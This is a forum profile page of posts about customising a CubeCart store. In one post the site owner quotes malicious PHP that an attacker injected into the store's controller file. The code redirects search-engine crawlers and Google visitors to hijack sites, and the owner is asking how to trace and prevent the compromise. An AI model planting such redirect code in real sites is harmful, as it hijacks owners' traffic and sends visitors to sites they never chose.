Jump to content

Transistor

Member
  • Posts

    10
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Transistor's Achievements

Newbie

Newbie (1/14)

0

Reputation

  1. Thanks, guys. Yes, the site is hosted on my Reseller cPanel-based account which is, itself, on a shared server. (I'm a small-time operator!) I'll follow up on my webhost's forum.
  2. Running 5.2.14 with some modifications to convert store to quotation system. Customer reported that site working OK with direct URL entry but any links from Google were being redirected to another site. After some head scratching and a search of the files for the foreign site name I found the following code had been inserted into /controllers/controller.inc.php. if (preg_match("#(google|googlebot|slurp@inktomi|yahoo! slurp|msnbot)#si", $_SERVER['HTTP_USER_AGENT'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.hijack-site-1.com/"); exit; } if (preg_match("#(www\.google)#si",$_SERVER['HTTP_REFERER'])) { header("HTTP/1.1 301 Moved Permanently"); header("Location: http://www.hijack-site-2.com/item/product-folder/item-number.html"); exit; } I've changed the site CubeCart admin password. Anyone got any suggestions as to how the code was inserted? File permissions were set at 644. What do I do to prevent occurrence? Many thanks.
  3. It took me a little while to realise I shouldn't be using the $option but rather the $item. Funny that not all the fields are available from the query result. Thank you very much.
  4. skins/mican/templates/content.checkout.php has lines {foreach from=$item.options item=option} <p> <strong>{$option.option_name}</strong>: {$option.value_name|truncate:45:"&hellip;":true} {if !empty($option.price_display)} ({$option.price_display}){/if} </p> {/foreach} How would I add in, for example, the UPC, EAN code, etc.? I imagine it's something like $option.upc_code but can't think of anything to make it work and there doesn't seem to be any documentation. Any ideas? Many thanks.
  5. Yes, I had a look at the session serialisation. It may be more trouble than it's worth. Thanks for your reply.
  6. MarksCarts mod suits me fine too. Thank you very much. One little thing missing. It jumps back to the first page in the category. Did anyone figure out how to get it to jump back to the same page. (i.e., If the customer clicks Buy on an item on page 4 of 5 it should jump back to that page and not the first page. The pages are zero indexed so page 4 will have page=3 in the URL.) The answer may be related to PAGINATION in viewCat.inc.php.
  7. Thanks, Stevie. I didn't explain it very well. The "Buy Now" button takes you away from the viewCat page and into the viewProd page. The user then has to enter the quantity and click "Add to Basket". This reloads the viewProd page so now the user has to hit the browser Back button or try and find where they were in the navigation menu. I suppose what I want is that the viewCat page works like the cart (View Basket) page. Here the user can update quantities without leaving the page. Much quicker. I'll play around some more and see what I come up with.
  8. Selecting multiple products is fairly tedious. For my application there are no product options so in most cases it isn't necessary to go to the viewProd pages. Many commerce sites allow you to Add to Basket from the category page. This is especially quick if you are familiar with the products. Any ideas anyone?
  9. I wanted to do two things. 1. Present the category views sorted by product code. I've succeeded doing this by adding "ORDER BY productCode" to line 166 of includes/content/viewCat.inc.php. See below: $productListQuery = "SELECT ".$glob['dbprefix']."CubeCart_cats_idx.cat_id, ".$glob['dbprefix'] ."CubeCart_cats_idx.productId, productCode, quantity, description, image, price, name, popularity, sale_price, stock_level, useStockLevel FROM " .$glob['dbprefix']."CubeCart_cats_idx INNER JOIN ".$glob['dbprefix']."CubeCart_inventory ON " .$glob['dbprefix']."CubeCart_cats_idx.productId = ".$glob['dbprefix']."CubeCart_inventory.productId WHERE " .$glob['dbprefix']."CubeCart_cats_idx.cat_id = ".$db->mySQLSafe($_GET['catId']) ." ORDER BY productCode"; (The line is one long line in the original script.) 2. Now I want to show the basket sorted by productCode but haven't figured it out yet. I think it would have to be a similar mod in includes/content/cart.inc.php. Any ideas anyone? Many thanks.
×
×
  • Create New...